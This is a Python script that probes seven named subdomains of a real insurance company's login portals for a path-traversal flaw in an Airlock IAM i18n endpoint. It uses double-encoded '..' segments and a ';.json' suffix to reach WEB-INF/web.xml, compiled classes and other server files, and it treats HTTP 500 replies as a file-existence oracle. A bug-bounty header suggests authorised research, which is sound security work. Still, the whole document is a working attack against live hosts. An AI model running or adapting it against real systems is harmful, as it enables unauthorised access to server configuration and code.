from curl_cffi import requests
import json,sys
hosts=['mein-portal.baloise.de','mein-portal-registrierung.baloise.de','infoportal.baloise.de','maklerportal.baloise.de','si-portal.baloise.de','vertriebsservice.baloise.de','zeus-portal.baloise.de']
paths=[
 'WEB-INF/web.xml',
 'WEB-INF/classes/logging.properties',
 'WEB-INF/classes/strings_en.properties',
 'WEB-INF/classes/com/airlock/iam/login/app/infrastructure/web/I18nServlet.class',
 'WEB-INF/classes/com/airlock/iam/common/infrastructure/i18n/ServletContextBasedJsonLoader.class',
 'META-INF/MANIFEST.MF',
 'WEB-INF/no-such-file-bugbounty-20261115',
]
trav='/'.join(['%252e%252e']*4)
h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
for host in hosts:
 for path in paths:
  url=f'https://{host}/auth/ui/assets/airlock/i18n/{trav}/{path};.json?oracle=class1'
  try:
   r=requests.get(url,headers=h,timeout=20,impersonate='chrome',allow_redirects=False,toadex_capture=False)
   row={'host':host,'path':path,'status':r.status_code,'size':len(r.content),'ct':r.headers.get('content-type'),'etag':r.headers.get('etag'),'exists':r.status_code==500}
  except Exception as e: row={'host':host,'path':path,'error':str(e)}
  print(json.dumps(row),flush=True)